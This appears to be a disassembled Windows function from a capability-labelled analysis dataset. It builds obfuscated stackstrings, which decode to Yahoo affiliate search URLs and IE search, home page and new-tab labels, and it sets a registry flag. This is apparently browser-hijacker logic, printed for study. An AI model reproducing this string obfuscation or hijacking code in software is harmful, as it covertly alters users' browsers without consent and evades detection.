Function at 0x1000ff70
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008150f
mov eax, dword fs:[0]
push eax
sub esp, 0x298
mov eax, dword [0x100bb2a8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x1ad], dl
mov byte [ebp - 0x1ae], cl
push 4
lea eax, [ebp - 0x1c4]
mov dword [ebp - 4], 5
push eax
push 4
push str.InstalledIE
push str.SoftwareITA
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x1c4], 0
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov dword [ebp - 0x107], 0x73253d44
mov word [ebp - 0x162], 0x706d
mov dword [ebp - 0x130], 0x62267325
mov dword [ebp - 0x14f], 0x72756f73
mov word [ebp - 0x129], 0x6573
mov word [ebp - 0x12c], 0x6f72
mov dword [ebp - 0x142], 0x44497265
mov dword [ebp - 0x11a], 0x5674736e
mov dword [ebp - 0x14b], 0x253d6563
mov dword [ebp - 0x13d], 0x6f267325
mov dword [ebp - 0x116], 0x69737265
mov dword [ebp - 0x134], 0x3d6e6f69
mov word [ebp - 0x15f], 0x6769
mov dword [ebp - 0x15d], 0x3d44496e
mov dword [ebp - 0x154], 0x73253d6f
mov dword [ebp - 0x11f], 0x2673253d
mov word [ebp - 0x122], 0x6f69
mov dword [ebp - 0x139], 0x72655673
mov byte [ebp - 0x103], 0
mov word [ebp - 0x109], 0x4973
mov word [ebp - 0x10c], 0x6573
mov dword [ebp - 0x159], 0x67267325
mov word [ebp - 0x164], 0x6163
mov dword [ebp - 0x127], 0x72655672
mov word [ebp - 0x10f], 0x7325
mov dword [ebp - 0x147], 0x75267325
mov byte [ebp - 0x10d], 0x26
mov word [ebp - 0x112], 0x6e6f
mov byte [ebp - 0x11b], 0x69
mov byte [ebp - 0x13e], 0x3d
mov byte [ebp - 0x120], 0x6e
mov byte [ebp - 0x155], 0x65
mov byte [ebp - 0x143], 0x73
mov byte [ebp - 0x110], 0x3d
mov byte [ebp - 0x160], 0x61
mov byte [ebp - 0x12a], 0x77
mov byte [ebp - 0x10a], 0x73
mov byte [ebp - 0x150], 0x26
mov byte [ebp - 0x123], 0x73
mov byte [ebp - 0x135], 0x73
call fcn.10001e63
mov ecx, eax
test ecx, ecx
jne 0x1001014c
push 0x80004005
call fcn.10001bd3
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1cc], eax
lea ecx, [ebp - 0x1ac]
mov byte [ebp - 4], 6
call fcn.100167c0
mov dword [ebp - 0x19c], eax
mov byte [ebp - 4], 7
lea ebx, [ebp + 0x84]
cmp dword [ebp + 0x98], 0x10
lea edi, [ebp + 0x6c]
lea esi, [ebp + 0x54]
cmovae ebx, dword [ebp + 0x84]
lea edx, [ebp + 0x3c]
cmp dword [ebp + 0x80], 0x10
lea ecx, [ebp + 0x24]
push ebx
cmovae edi, dword [ebp + 0x6c]
lea eax, [ebp + 0xc]
cmp dword [ebp + 0x68], 0x10
push edi
cmovae esi, dword [ebp + 0x54]
cmp dword [ebp + 0x50], 0x10
mov edi, dword [ebp - 0x19c]
cmovae edx, dword [ebp + 0x3c]
cmp dword [ebp + 0x38], 0x10
push dword [edi]
cmovae ecx, dword [ebp + 0x24]
cmp dword [ebp + 0x20], 0x10
push esi
cmovae eax, dword [ebp + 0xc]
push edx
push ecx
push eax
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x1cc]
push eax
call fcn.100096bf
mov byte [ebp - 4], 6
or ebx, 0xffffffff
mov edx, dword [ebp - 0x1ac]
add esp, 0x24
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10010209
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp byte [ebp - 0x1ad], 0
mov edi, dword [ebp - 0x1cc]
je 0x100108ab
mov byte [ebp - 0xb7], 0x25
mov dword [ebp - 0xe8], 0x2e6f6f68
mov word [ebp - 0xa7], 0x4553
mov dword [ebp - 0xdf], 0x732f7368
mov dword [ebp - 0xa5], 0x48435241
mov dword [ebp - 0xe3], 0x792f6d6f
mov dword [ebp - 0xc5], 0x7368793d
mov dword [ebp - 0xd0], 0x6d6f3d74
mov byte [ebp - 0xfa], 0x74
mov dword [ebp - 0x9f], 0x4d5245
mov dword [ebp - 0xdb], 0x63726165
mov dword [ebp - 0xbb], 0x3d657079
mov word [ebp - 0xb6], 0x2673
mov dword [ebp - 0xf4], 0x732e7375
mov dword [ebp - 0xac], 0x70267325
mov word [ebp - 0xa1], 0x545f
mov dword [ebp - 0xc0], 0x26313030
mov dword [ebp - 0xc9], 0x706d6973
mov word [ebp - 0xf0], 0x6165
mov dword [ebp - 0xb1], 0x3d316d61
mov word [ebp - 0xd3], 0x6170
mov word [ebp - 0xb3], 0x7261
mov word [ebp - 0xfc], 0x7468
mov byte [ebp - 0xd1], 0x72
mov word [ebp - 0xd6], 0x683f
mov byte [ebp - 0xbc], 0x74
mov dword [ebp - 0xed], 0x792e6863
mov word [ebp - 0xcb], 0x6826
mov dword [ebp - 0xf9], 0x2f3a7370
mov byte [ebp - 0xad], 0x25
mov byte [ebp - 0xe9], 0x61
mov byte [ebp - 0xcc], 0x72
mov byte [ebp - 0xf5], 0x2f
mov byte [ebp - 0xd4], 0x73
mov byte [ebp - 0xb4], 0x70
mov byte [ebp - 0xee], 0x72
mov byte [ebp - 0xa8], 0x3d
mov byte [ebp - 0xd7], 0x68
mov byte [ebp - 0xc1], 0x2d
mov byte [ebp - 0xe4], 0x63
call fcn.10001e63
mov ecx, eax
test ecx, ecx
jne 0x1001038b
push 0x80004005
call fcn.10001bd3
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1a8], eax
mov byte [ebp - 4], 8
lea eax, [ebp + 0xc]
cmp dword [ebp + 0x20], 0x10
cmovae eax, dword [ebp + 0xc]
push eax
lea eax, [ebp - 0xfc]
push eax
lea eax, [ebp - 0x1a8]
push eax
call fcn.100096bf
add esp, 0xc
call fcn.10001e63
mov ecx, eax
test ecx, ecx
jne 0x100103d4
push 0x80004005
call fcn.10001bd3
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1a0], eax
lea eax, [ebp - 0x7c]
mov byte [ebp - 4], 9
push eax
lea eax, [ebp - 0x1a0]
mov dword [ebp - 0x7c], 0x732d6569
push edi
push eax
mov word [ebp - 0x78], 0x6165
mov word [ebp - 0x75], 0x6863
mov byte [ebp - 0x76], 0x72
mov byte [ebp - 0x73], 0
call fcn.100096bf
sub esp, 0xc
mov ecx, esp
push dword [ebp - 0x1a0]
call fcn.10006a02
lea ecx, [ebp - 0x194]
call fcn.1000d270
add esp, 0x18
mov byte [ebp - 4], 0xa
cmp dword [eax + 0x14], 0x10
jb 0x1001043c
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.100065f2
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x180]
cmp eax, 0x10
jb 0x1001049c
mov ecx, dword [ebp - 0x194]
inc eax
cmp eax, 0x1000
jb 0x10010493
test cl, 0x1f
je 0x1001046f
call fcn.100637d0
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x1001047b
call fcn.100637d0
sub ecx, eax
cmp ecx, 4
jae 0x10010487
call fcn.100637d0
cmp ecx, 0x23
jbe 0x10010491
call fcn.100637d0
mov ecx, eax
push ecx
call fcn.1005a196
add esp, 4
call fcn.10001e63
mov ecx, eax
test ecx, ecx
jne 0x100104b1
push 0x80004005
call fcn.10001bd3
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1b4], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x1b4]
mov esi, dword [ebp - 0x1a0]
mov ebx, dword [ebp - 0x1a8]
push esi
push ebx
push eax
call fcn.100096bf
add esp, 0xc
mov dword [ebp - 0x20], 0x45545f48
lea eax, [ebp - 0x6c]
mov word [ebp - 0x23], 0x5241
lea ecx, [ebp - 0x1b8]
mov dword [ebp - 0x6c], 0x70747468
mov dword [ebp - 0x40], 0x736a7866
push eax
mov word [ebp - 0x64], 0x6573
mov dword [ebp - 0x39], 0x69707061
mov dword [ebp - 0x52], 0x2f676775
mov dword [ebp - 0x44], 0x3d747570
mov dword [ebp - 0x5d], 0x6f686179
mov dword [ebp - 0x34], 0x6d72633d
mov byte [ebp - 0x60], 0x63
mov word [ebp - 0x49], 0x3f65
mov dword [ebp - 0x58], 0x6d6f632e
mov word [ebp - 0x1c], 0x4d52
mov word [ebp - 0x3b], 0x266e
mov word [ebp - 0x67], 0x2f3a
mov word [ebp - 0x46], 0x7475
mov dword [ebp - 0x2f], 0x6f632673
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x3c], 0x6f
mov dword [ebp - 0x28], 0x533d646e
mov word [ebp - 0x2b], 0x6d6d
mov dword [ebp - 0x4d], 0x6d6f7268
mov byte [ebp - 0x1a], 0
mov byte [ebp - 0x65], 0x2f
mov byte [ebp - 0x47], 0x6f
mov word [ebp - 0x5f], 0x2e68
mov word [ebp - 0x54], 0x732f
mov word [ebp - 0x62], 0x7261
mov byte [ebp - 0x35], 0x64
mov byte [ebp - 0x29], 0x61
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x4e], 0x63
mov byte [ebp - 0x68], 0x73
mov byte [ebp - 0x30], 0x61
mov byte [ebp - 0x59], 0x6f
call fcn.10006677
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 0xc
call fcn.10012290
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x179], 0x70206f6f
mov word [ebp - 0x17c], 0x6159
mov word [ebp - 0x16d], 0x6165
mov word [ebp - 0x170], 0x2064
mov dword [ebp - 0x175], 0x7265776f
mov word [ebp - 0x16a], 0x6863
mov byte [ebp - 0x16e], 0x73
mov byte [ebp - 0x171], 0x65
mov byte [ebp - 0x168], 0
mov byte [ebp - 0x16b], 0x72
mov byte [ebp - 0x17a], 0x68
mov dword [ebp - 0x8f], 0x63726165
mov dword [ebp - 0x87], 0x2e6f6f68
mov byte [ebp - 0x90], 0x73
mov word [ebp - 0x82], 0x6d6f
mov word [ebp - 0x8a], 0x792e
mov byte [ebp - 0x8b], 0x68
mov byte [ebp - 0x83], 0x63
mov byte [ebp - 0x88], 0x61
mov byte [ebp - 0x80], 0
push ecx
mov dword [ebp - 0x1ac], esp
mov ecx, dword [ebp - 0x1b8]
add ecx, 0xfffffff0
mov dword [ebp - 0x1c8], esp
mov dword [ebp - 0x1a4], ecx
mov ecx, dword [ecx]
mov eax, dword [ecx]
call dword [eax + 0x10]
mov ecx, dword [ebp - 0x1a4]
mov edx, eax
cmp dword [ecx + 0xc], 0
lea eax, [ecx + 0xc]
mov dword [ebp - 0x19c], eax
jl 0x100106b8
cmp edx, dword [ecx]
jne 0x100106b8
mov eax, ecx
mov ecx, dword [ebp - 0x19c]
lock inc dword [ecx]
jmp 0x10010700
mov eax, dword [edx]
push 1
push dword [ecx + 4]
mov ecx, edx
call dword [eax]
mov edx, eax
mov dword [ebp - 0x198], edx
test edx, edx
jne 0x100106d4
call fcn.10008e8b
mov ecx, dword [ebp - 0x1a4]
mov eax, dword [ecx + 4]
mov dword [edx + 4], eax
lea eax, [ecx + 0x10]
mov edx, dword [ecx + 4]
mov ecx, dword [ebp - 0x198]
inc edx
push edx
push eax
add ecx, 0x10
call fcn.100010b0
mov eax, dword [ebp - 0x198]
add esp, 8
mov ecx, dword [ebp - 0x1ac]
add eax, 0x10
mov dword [ecx], eax
push ecx
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x90]
mov ecx, esp
mov dword [ebp - 0x1c0], esp
push eax
call fcn.10006677
mov byte [ebp - 4], 0xf
push ecx
mov dword [ebp - 0x1ac], esp
mov eax, dword [ebp - 0x1b4]
add eax, 0xfffffff0
mov dword [ebp - 0x1bc], esp
mov dword [ebp - 0x198], eax
mov ecx, dword [eax]
mov eax, dword [ecx]
call dword [eax + 0x10]
mov ecx, dword [ebp - 0x198]
mov edx, eax
cmp dword [ecx + 0xc], 0
lea eax, [ecx + 0xc]
mov dword [ebp - 0x19c], eax
jl 0x10010773
cmp edx, dword [ecx]
jne 0x10010773
mov eax, ecx
mov ecx, dword [ebp - 0x19c]
lock inc dword [ecx]
jmp 0x100107bb
mov eax, dword [edx]
push 1
push dword [ecx + 4]
mov ecx, edx
call dword [eax]
mov edx, eax
mov dword [ebp - 0x1a4], edx
test edx, edx
jne 0x1001078f
call fcn.10008e8b
mov ecx, dword [ebp - 0x198]
mov eax, dword [ecx + 4]
mov dword [edx + 4], eax
lea eax, [ecx + 0x10]
mov edx, dword [ecx + 4]
mov ecx, dword [ebp - 0x1a4]
inc edx
push edx
push eax
add ecx, 0x10
call fcn.100010b0
mov eax, dword [ebp - 0x1a4]
add esp, 8
mov ecx, dword [ebp - 0x1ac]
add eax, 0x10
mov dword [ecx], eax
push ecx
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x90]
mov ecx, esp
mov dword [ebp - 0x19c], esp
push eax
call fcn.10006677
push ecx
lea eax, [ebp - 0x17c]
mov byte [ebp - 4], 0x11
mov ecx, esp
push eax
call fcn.10006677
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 0xd
call fcn.10014f30
push ecx
mov ecx, esp
push 0x100a57dd
call fcn.10006677
lea ecx, [ebp - 0x2a4]
call fcn.100152f0
push ecx
lea ecx, [ebp - 0x2a4]
call fcn.10016c60
lea ecx, [ebp - 0x2a4]
call fcn.100128c0
mov byte [ebp - 4], 0xb
or eax, 0xffffffff
mov edx, dword [ebp - 0x1b8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10010852
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 9
or eax, 0xffffffff
mov edx, dword [ebp - 0x198]
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10010871
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 8
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x1001088d
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
lea edx, [ebx - 0x10]
mov byte [ebp - 4], 6
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x100108ab
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp byte [ebp - 0x1ae], 0
je 0x10010e2b
mov dword [ebp - 0x36], 0x302d7368
mov word [ebp - 0x2e], 0x7079
mov dword [ebp - 0x55], 0x6d6f632e
mov dword [ebp - 0x65], 0x2e73752f
mov word [ebp - 0x22], 0x3d31
mov word [ebp - 0x31], 0x2631
mov dword [ebp - 0x5b], 0x6861792e
mov dword [ebp - 0x5f], 0x68637261
mov word [ebp - 0x38], 0x793d
mov dword [ebp - 0x40], 0x6826726d
mov word [ebp - 0x2c], 0x3d65
mov word [ebp - 0x1f], 0x7325
mov dword [ebp - 0x44], 0x6f3d7472
mov dword [ebp - 0x4b], 0x683f6265
mov dword [ebp - 0x29], 0x61702673
mov word [ebp - 0x51], 0x792f
mov word [ebp - 0x4e], 0x2f73
mov byte [ebp - 0x4f], 0x68
mov word [ebp - 0x6a], 0x7074
mov word [ebp - 0x3b], 0x6d69
mov byte [ebp - 0x32], 0x30
mov word [ebp - 0x25], 0x6172
mov word [ebp - 0x61], 0x6573
mov word [ebp - 0x47], 0x7073
mov byte [ebp - 0x3c], 0x73
mov byte [ebp - 0x23], 0x6d
mov byte [ebp - 0x45], 0x61
mov byte [ebp - 0x39], 0x70
mov word [ebp - 0x67], 0x2f3a
mov byte [ebp - 0x2f], 0x74
mov byte [ebp - 0x2a], 0x25
mov byte [ebp - 0x4c], 0x77
mov byte [ebp - 0x20], 0x25
mov word [ebp - 0x57], 0x6f6f
mov word [ebp - 0x6c], 0x7468
mov byte [ebp - 0x1d], 0
mov byte [ebp - 0x68], 0x73
call fcn.10001e63
mov ecx, eax
test ecx, ecx
jne 0x1001099c
push 0x80004005
call fcn.10001bd3
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1b8], eax
mov byte [ebp - 4], 0x12
lea eax, [ebp + 0xc]
cmp dword [ebp + 0x20], 0x10
cmovae eax, dword [ebp + 0xc]
push eax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x1b8]
push eax
call fcn.100096bf
add esp, 0xc
call fcn.10001e63
mov ecx, eax
test ecx, ecx
jne 0x100109e2
push 0x80004005
call fcn.10001bd3
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x198], eax
lea eax, [ebp - 0x8c]
mov byte [ebp - 4], 0x13
push eax
lea eax, [ebp - 0x198]
mov word [ebp - 0x8c], 0x6569
push edi
push eax
mov word [ebp - 0x85], 0x6170
mov dword [ebp - 0x89], 0x656d6f68
mov word [ebp - 0x82], 0x65
mov byte [ebp - 0x83], 0x67
mov byte [ebp - 0x8a], 0x2d
call fcn.100096bf
add esp, 0xc
call fcn.10001e63
mov ecx, eax
test ecx, ecx
jne 0x10010a53
push 0x80004005
call fcn.10001bd3
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1a0], eax
lea eax, [ebp - 0x7c]
mov byte [ebp - 4], 0x14
push eax
lea eax, [ebp - 0x1a0]
mov word [ebp - 0x7c], 0x6569
push edi
push eax
mov dword [ebp - 0x79], 0x7477656e
mov word [ebp - 0x74], 0x62
mov byte [ebp - 0x7a], 0x2d
mov byte [ebp - 0x75], 0x61
call fcn.100096bf
sub esp, 0xc
mov ecx, esp
push dword [ebp - 0x198]
call fcn.10006a02
lea ecx, [ebp - 0x194]
call fcn.1000d270
add esp, 0x18
mov byte [ebp - 4], 0x15
cmp dword [eax + 0x14], 0x10
jb 0x10010abb
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x198]
call fcn.100065f2
mov byte [ebp - 4], 0x14
mov eax, dword [ebp - 0x180]
cmp eax, 0x10
jb 0x10010b1b
mov ecx, dword [ebp - 0x194]
inc eax
cmp eax, 0x1000
jb 0x10010b12
test cl, 0x1f
je 0x10010aee
call fcn.100637d0
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x10010afa
call fcn.100637d0
sub ecx, eax
cmp ecx, 4
jae 0x10010b06
call fcn.100637d0
cmp ecx, 0x23
jbe 0x10010b10
call fcn.100637d0
mov ecx, eax
push ecx
call fcn.1005a196
add esp, 4
sub esp, 0x18
mov ecx, esp
push dword [ebp - 0x1a0]
call fcn.10006a02
lea ecx, [ebp - 0x194]
call fcn.1000d270
add esp, 0x18
mov byte [ebp - 4], 0x16
cmp dword [eax + 0x14], 0x10
jb 0x10010b45
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.100065f2
mov byte [ebp - 4], 0x14
mov eax, dword [ebp - 0x180]
cmp eax, 0x10
jb 0x10010ba5
mov ecx, dword [ebp - 0x194]
inc eax
cmp eax, 0x1000
jb 0x10010b9c
test cl, 0x1f
je 0x10010b78
call fcn.100637d0
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x10010b84
call fcn.100637d0
sub ecx, eax
cmp ecx, 4
jae 0x10010b90
call fcn.100637d0
cmp ecx, 0x23
jbe 0x10010b9a
call fcn.100637d0
mov ecx, eax
push ecx
call fcn.1005a196
add esp, 4
call fcn.10001e63
mov ecx, eax
test ecx, ecx
jne 0x10010bba
push 0x80004005
call fcn.10001bd3
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1ac], eax
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x1ac]
mov ebx, dword [ebp - 0x198]
mov esi, dword [ebp - 0x1b8]
push ebx
push esi
push eax
call fcn.100096bf
add esp, 0xc
call fcn.10001e63
mov ecx, eax
test ecx, ecx
jne 0x10010bfe
push 0x80004005
call fcn.10001bd3
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1b4], eax
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x1b4]
push dword [ebp - 0x1a0]
push esi
push eax
call fcn.100096bf
add esp, 0xc
lea ecx, [ebp - 0x2a4]
call fcn.10012290
mov byte [ebp - 4], 0x19
push ecx
mov dword [ebp - 0x1c0], esp
mov eax, dword [ebp - 0x1b4]
add eax, 0xfffffff0
mov dword [ebp - 0x1a4], eax
mov ecx, dword [eax]
mov eax, dword [ecx]
call dword [eax + 0x10]
mov ecx, dword [ebp - 0x1a4]
mov edx, eax
cmp dword [ecx + 0xc], 0
lea eax, [ecx + 0xc]
mov dword [ebp - 0x19c], eax
jl 0x10010c7a
cmp edx, dword [ecx]
jne 0x10010c7a
mov eax, ecx
mov ecx, dword [ebp - 0x19c]
lock inc dword [ecx]
jmp 0x10010cc2
mov eax, dword [edx]
push 1
push dword [ecx + 4]
mov ecx, edx
call dword [eax]
mov edx, eax
mov dword [ebp - 0x1a8], edx
test edx, edx
jne 0x10010c96
call fcn.10008e8b
mov ecx, dword [ebp - 0x1a4]
mov eax, dword [ecx + 4]
mov dword [edx + 4], eax
lea eax, [ecx + 0x10]
mov edx, dword [ecx + 4]
mov ecx, dword [ebp - 0x1a8]
inc edx
push edx
push eax
add ecx, 0x10
call fcn.100010b0
mov eax, dword [ebp - 0x1a8]
add esp, 8
mov ecx, dword [ebp - 0x1c0]
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x2a4]
call fcn.10014ae0
push ecx
mov dword [ebp - 0x1c8], esp
mov eax, dword [ebp - 0x1ac]
add eax, 0xfffffff0
mov dword [ebp - 0x1a8], eax
mov ecx, dword [eax]
mov eax, dword [ecx]
call dword [eax + 0x10]
mov ecx, dword [ebp - 0x1a8]
mov edx, eax
cmp dword [ecx + 0xc], 0
lea eax, [ecx + 0xc]
mov dword [ebp - 0x1c0], eax
jl 0x10010d1d
cmp edx, dword [ecx]
jne 0x10010d1d
mov eax, ecx
mov ecx, dword [ebp - 0x1c0]
lock inc dword [ecx]
jmp 0x10010d65
mov eax, dword [edx]
push 1
push dword [ecx + 4]
mov ecx, edx
call dword [eax]
mov edx, eax
mov dword [ebp - 0x19c], edx
test edx, edx
jne 0x10010d39
call fcn.10008e8b
mov ecx, dword [ebp - 0x1a8]
mov eax, dword [ecx + 4]
mov dword [edx + 4], eax
lea eax, [ecx + 0x10]
mov edx, dword [ecx + 4]
mov ecx, dword [ebp - 0x19c]
inc edx
push edx
push eax
add ecx, 0x10
call fcn.100010b0
mov eax, dword [ebp - 0x19c]
add esp, 8
mov ecx, dword [ebp - 0x1c8]
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x2a4]
call fcn.10014870
push ecx
lea ecx, [ebp - 0x2a4]
call fcn.10016c60
lea ecx, [ebp - 0x2a4]
call fcn.100128c0
mov edx, dword [ebp - 0x1a4]
or eax, 0xffffffff
mov byte [ebp - 4], 0x17
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10010db1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x14
or eax, 0xffffffff
mov edx, dword [ebp - 0x1a8]
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10010dd0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x13
or eax, 0xffffffff
mov edx, dword [ebp - 0x1a0]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10010df2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea edx, [ebx - 0x10]
mov byte [ebp - 4], 0x12
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10010e10
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 6
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x10010e2b
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
push 4
lea eax, [ebp - 0x1c4]
mov dword [ebp - 0x1c4], 1
push eax
push 4
push str.InstalledIE
push str.SoftwareITA
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov byte [ebp - 4], 5
add edi, 0xfffffff0
lock xadd dword [edi + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x10010e6e
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp + 0x20]
cmp eax, 0x10
jb 0x10010eb8
mov ecx, dword [ebp + 0xc]
inc eax
cmp eax, 0x1000
jb 0x10010eaf
test cl, 0x1f
je 0x10010e8b
call fcn.100637d0
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x10010e97
call fcn.100637d0
sub ecx, eax
cmp ecx, 4
jae 0x10010ea3
call fcn.100637d0
cmp ecx, 0x23
jbe 0x10010ead
call fcn.100637d0
mov ecx, eax
push ecx
call fcn.1005a196
add esp, 4
mov eax, dword [ebp + 0x38]
mov dword [ebp + 0x20], 0xf
mov dword [ebp + 0x1c], 0
mov byte [ebp + 0xc], 0
cmp eax, 0x10
jb 0x10010f14
mov ecx, dword [ebp + 0x24]
inc eax
cmp eax, 0x1000
jb 0x10010f0b
test cl, 0x1f
je 0x10010ee7
call fcn.100637d0
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x10010ef3
call fcn.100637d0
sub ecx, eax
cmp ecx, 4
jae 0x10010eff
call fcn.100637d0
cmp ecx, 0x23
jbe 0x10010f09
call fcn.100637d0
mov ecx, eax
push ecx
call fcn.1005a196
add esp, 4
mov eax, dword [ebp + 0x50]
mov dword [ebp + 0x38], 0xf
mov dword [ebp + 0x34], 0
mov byte [ebp + 0x24], 0
cmp eax, 0x10
jb 0x10010f70
mov ecx, dword [ebp + 0x3c]
inc eax
cmp eax, 0x1000
jb 0x10010f67
test cl, 0x1f
je 0x10010f43
call fcn.100637d0
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x10010f4f
call fcn.100637d0
sub ecx, eax
cmp ecx, 4
jae 0x10010f5b
call fcn.100637d0
cmp ecx, 0x23
jbe 0x10010f65
call fcn.100637d0
mov ecx, eax
push ecx
call fcn.1005a196
add esp, 4
mov eax, dword [ebp + 0x68]
mov dword [ebp + 0x50], 0xf
mov dword [ebp + 0x4c], 0
mov byte [ebp + 0x3c], 0
cmp eax, 0x10
jb 0x10010fcc
mov ecx, dword [ebp + 0x54]
inc eax
cmp eax, 0x1000
jb 0x10010fc3
test cl, 0x1f
je 0x10010f9f
call fcn.100637d0
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x10010fab
call fcn.100637d0
sub ecx, eax
cmp ecx, 4
jae 0x10010fb7
call fcn.100637d0
cmp ecx, 0x23
jbe 0x10010fc1
call fcn.100637d0
mov ecx, eax
push ecx
call fcn.1005a196
add esp, 4
mov eax, dword [ebp + 0x80]
mov dword [ebp + 0x68], 0xf
mov dword [ebp + 0x64], 0
mov byte [ebp + 0x54], 0
cmp eax, 0x10
jb 0x1001102b
mov ecx, dword [ebp + 0x6c]
inc eax
cmp eax, 0x1000
jb 0x10011022
test cl, 0x1f
je 0x10010ffe
call fcn.100637d0
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x1001100a
call fcn.100637d0
sub ecx, eax
cmp ecx, 4
jae 0x10011016
call fcn.100637d0
cmp ecx, 0x23
jbe 0x10011020
call fcn.100637d0
mov ecx, eax
push ecx
call fcn.1005a196
add esp, 4
mov eax, dword [ebp + 0x98]
mov dword [ebp + 0x80], 0xf
mov dword [ebp + 0x7c], 0
mov byte [ebp + 0x6c], 0
cmp eax, 0x10
jb 0x10011090
mov ecx, dword [ebp + 0x84]
inc eax
cmp eax, 0x1000
jb 0x10011087
test cl, 0x1f
je 0x10011063
call fcn.100637d0
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x1001106f
call fcn.100637d0
sub ecx, eax
cmp ecx, 4
jae 0x1001107b
call fcn.100637d0
cmp ecx, 0x23
jbe 0x10011085
call fcn.100637d0
mov ecx, eax
push ecx
call fcn.1005a196
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1005a19b
mov esp, ebp
pop ebp
ret